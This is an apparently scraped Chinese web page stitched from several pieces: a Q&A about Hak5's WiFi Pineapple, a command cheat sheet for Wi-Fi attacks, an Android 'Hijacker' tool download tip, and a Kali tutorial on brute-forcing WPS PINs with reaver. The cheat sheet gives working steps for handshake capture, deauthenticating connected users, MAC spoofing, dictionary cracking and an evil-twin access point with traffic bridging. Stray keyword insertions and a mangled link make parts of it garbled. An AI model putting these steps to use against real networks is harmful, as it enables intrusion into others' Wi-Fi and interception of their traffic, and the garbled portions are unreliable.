文章导航：
hak5有国内吗
没有。
1、hak5没有国内，WiFiPineapple是由国外无线安全审计公司Hak5开发并售卖的一款无线安全测试神器。
2、特性用作Wi-Fi中间人攻击测试平台，一整套的针对AP的渗透测试套件。
3、基于WEB应用的管理界面，基于嵌入式linux系统，不定时的各种软件更新，可以自定义模块、payload。
5.无线渗透 wpa wifi 破解
Ess 人类可记忆 的名字(wifi名字)
Bss 无线ap 的mac地址
破解WiFi看下面 破解wpa
iwconfig
iw list
iw dev wlan0mon set channel 4 更改所在信道为4
iwlist wlan0mon channel 查看 wlan0mon 所在的信道 所在信道要与 要抓的信道在同一信道
iw dev wlan0 scan | grep SSID 扫描附 近的 ap (WiFi)
iw dev wlan0 scan | egrep "DS\ Parameter\ set|SSID" 可以筛选出在地基信道
iw dev wlan0 interface add wlan0mon type monitor 添加可以监听的网卡接口 注意wlan0, 是你自己的无线网卡 用 iwconfig 可以查看 可能是wlan1 或者 wlan2 之后就可以在 iwconfig 里看到 wlan0mon (如果看不到 尝试 关闭 service network-manager stop 服务) 然后使用 ifconfig wlan0mon 启动 ,之后就可以用wireshark 进行抓包
iw dev wlan0mon interface del 删除添加的网卡接口
service network-manager stop 首先先关闭 这个服务
airmon-ng check 可以检查出有可能冲突的进程
airmon-ng check kill 可以杀掉全部冲突进程
airmon-ng start wlan0 6 在wlan0上启动侦听 这个数字 6 就是启动在哪个信道上监听 可以不写 和上面iw的命令没有区别
iwlist wlan0mon channel 查看当前在第几信道
airmon-ng stop wlan0mon 关闭监听 然后再用 ifconfig wlan0 up 启动无线网卡 再使用 service network-manager start 进行服务启动 可以进行正常的使用
airodump-ng wlan0mon 抓包 默认抓取所有信道的 包 airodump-ng wlan0 -c 1 这个数字1 代表抓取1信道的包
airodump-ng wlan0mon -c 1 --bssid 00:11:22:33:44:55 -w filename.cap --ivs 后面这些 每一个都是可以省略的 --bssid 代表 只抓取这个 ap的包 -w 文件名 可以把抓到的包 保存成文件 --ivs 代表只抓 wep 加密的包
包注入 注意让自己和目标在同一信道
如果发包是 要伪造源地址 可以用 macchanger -m 00:11:22:33:44:55 wlan0mon 将自己的mac 地址 与要伪造的地址改成相同
aireplay-ng -9 wlan0mon 注包测试 如果不成功 可以运行 ifconfig wlan0mon up 试试
这时网络中会有两个相同mac 的设备 会有丢包
如果WiFi 只使用mac地址过滤没有密码你就可以连接上了,可以配合破解的WiFi密码 进行使用破解的WiFi密码 加上mac地址伪造连接有密码有mac绑定的 WiFi
比较简单 只要抓到足够多的包就能完全破解
思路 暴力破解
抓到一位用户的握手包
如果有用户已经连接上 可以使他断线重连 就能得到握手包(千万别傻等别人连接)
然后将大量的密码字典放进握手包里计算看看是不是对的密码 使用这种方式要用显卡跑会快很多,也可以去淘宝找人跑包
开启一个wifi热点
使用上面这个命令后 用 ifconfig -a 可以查看到 多出了一个网卡 叫 at0 下一步就是把at0 和 eth0 (就是连接外网的网卡 如果是用WiFi 就是wlan0 之类的) 桥接起来
apt-get install bridge-utils 桥接网卡工具包
桥接接口的 成员接口 就是eth0 和 at0 是不能有ip 地址的 所以分别使用
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
来启动这两个接口 IP地址是0.0.0.0
再使用
ifconfig bridge 192.168.1.10 up
给上面创建的桥接网卡 一个ip地址 并up起来 这个IP地址 使用 上面eth0 的IP地址
添加一个网关 目的是让 连接到黑客开启的WiFi 的用户可以直接到现实路由中 获取ip地址
netstat -nr
route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1
启动IP 转发
echo 1 /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward 确认修改完成
git clone
cd 3vilTwinAttacker
chmod +x installer.sh
./installer.sh --install
这样就安装成功了
启动工具使用
wifi-pumpkin 不是之前的3vilTwinAttacker 看最后安装完成的命令行 红色的字 执行这个命令 在终端
求一个可以抓包的手机Wifi软件
刚刚在kali NetHunter app store上找到一款贼厉害的安卓系统抓包软件，名字叫 Hijacker
下载链接：去re.nethunter.com/re掉po/中com.hijacker_3文2.apk
软件简介：Hijacker是用于渗透测试工具Aircrack-ng，Airodump-ng，MDK3和Reaver的图形用户界面。 它提供了一个简单易用的UI来使用这些工具，而无需在控制台中键入命令并复制和粘贴MAC地址。
此应用程序需要具有支持监视器模式的内部无线适配器的ARM android设备。 少数android设备可以运行，但本机都不可用。 这意味着您将需要自定义固件。 任何使用BCM4339芯片组（MSM8974，例如Nexus 5，Xperia Z1 / Z2，LG G2，LG G Flex，三星Galaxy Note 3）的设备都可以与Nexmon（也支持其他一些芯片组）一起使用。 使用BCM4330的设备可以使用bcmon。
另一种选择是使用OTG电缆在Android中使用支持监视器模式的外部适配器。
从1.1版开始，包含了armv7l和aarch64设备所需的工具。 还包括用于BCM4339和BCM4358的Nexmon驱动程序和管理实用程序。
root访问也是必要的，因为这些工具需要root才能工作。
Kali从入门到银手镯（二）：开启WPS的无线网络渗透测试
很多无线路由器都支持WPS（Wifi Protection Setup）功能，它是一种可以让用户无需密码直接连接Wifi的技术。本来这种技术的初衷是让用户更加方便的连接网络，但是因为它有严重的安全漏洞，所以反而让用户的网络更加不安全。因此在这里推荐大家使用路由器的时候没事就把WPS功能关掉。
因为要进行渗透测试，所以首先我先把自己路由器的WPS功能开启，当然测试结束之后别忘wifi渗透工具中国了关闭WPS功能。
使用前一篇文章介绍的方法安装好Kali虚拟机或者U盘系统，然后就可以准备开始了。
当然这里使用到的工具并不是只有Kali能用，其他Linux发行版也可以使用。但是还是推荐Kali，因为很多渗透测试工具都是按照安防论文的理论来实现的，很多都已经不再维护了。而Kali收集了很多尚在维护的工具分支，如果wifi渗透工具中国你使用其他发行版的话，可能其软件仓库中的版本还是原来的旧版本。
本文比较简单，涉及到的工具有两个，reaver和aircrack-ng。
我用的是台式机安装的Kali虚拟机系统，自然是没有无线功能的，所以需要一块无线网卡。值得称道的是现在Linux驱动非常完善了，我原来买的360无线网卡可以直接驱动成功。
连接方法也十分简单，电脑插上无线网卡，然后在VMware软件右下角找到无线网卡的图标，点击并选择连接到虚拟机，这样就大功告成了。整个系统可能会卡几秒钟，之后就正常了。
连接成功后，在Kali虚拟机中应该可以看到Wifi图标了，用lsusb命令还可以查看到无线网卡的厂商和具体型号，可以看到我的无线网卡具体型号是MT7601U。
首先输入 sudo airmon-ng 命令查看一下当前系统中的无线网卡，在Kali中这个接口名默认应该是wlan0。
然后输入下面的命令关闭可能影响网卡监听的程序，然后开启监听模式。开启完毕之后，再次输入 sudo airmon-ng ，应该就会看到这次接口名变成了wlan0mon，这样就说明成功开启了监听模式，可以进行下一步了。
输入下面的命令开始扫描附近的无线网络。
稍后应该就会显示出附近开启了WPS的所有网络了，dBm是信号大小，值越小说明信号越强，按Ctrl+C即可中断命令。如果想要查看所有网络的话，可以添加 -a 参数，它会列出所有网络（包括了未开启WPS功能的网络）。
这时候就要记下来网络的BSSID(网络Mac地址)以及ESSID(网络名称)，准备好下一步的工作了。
好了，下面就可以开始正式的工作了，其实说起来原理也很简单，WPS PIN是一个8位数字密码，所以其实我们要做的就是不断的尝试，最终找到这个PIN。总共需要尝试的次数有一亿次，看起来这个数字非常大，但是在安全领域，一亿次算是一个非常小的次数了，很多加密算法要攻破甚至需要全世界所有计算机同时计算几百年。
当然要搞定WPS的PIN并不需要这么长时间，最多10来个小时就可以了，平均用时可能也就4-5个小时左右。而且一旦知道了PIN，获得WIFI密码仅需要数秒即可搞定。之后只要PIN码没有发生变化，就算WIFI密码被修改，也可以很轻松的搞定。
接下来就要轮到本文的主角登场了，这就是reaver，专门用于破解WPS Wifi网络的工具。输入 -h 参数即可查看帮助信息，这里简单列出一些我们要使用的参数。
详细参数参考reaver的帮助，并不难懂。
了解了reaver命令行的用法之后，就可以正式开始了。很多时候一次可能并不能成功，需要尝试多次。
因为是测试，所以我干脆直接指定了PIN的值。为了更详细的了解命令运行过程，可以开启2级或者3级输出看看reaver工具到底干了啥。
如果出现了下面的bad FCS，可以在添加 -F 参数忽略帧校验错误，然后再次尝试。
如果一切正常的话，应该会在几分钟内通过PIN解开WIFI的密码。如果不知道PIN密码的话，也可以通过几个小时的尝试来试出PIN进而得知WIFI密码。因此我们在日常使用的时候，一定要记得关掉WPS功能，它是很多漏洞的根源。
发布于 2023-01-08 09:57:08 回复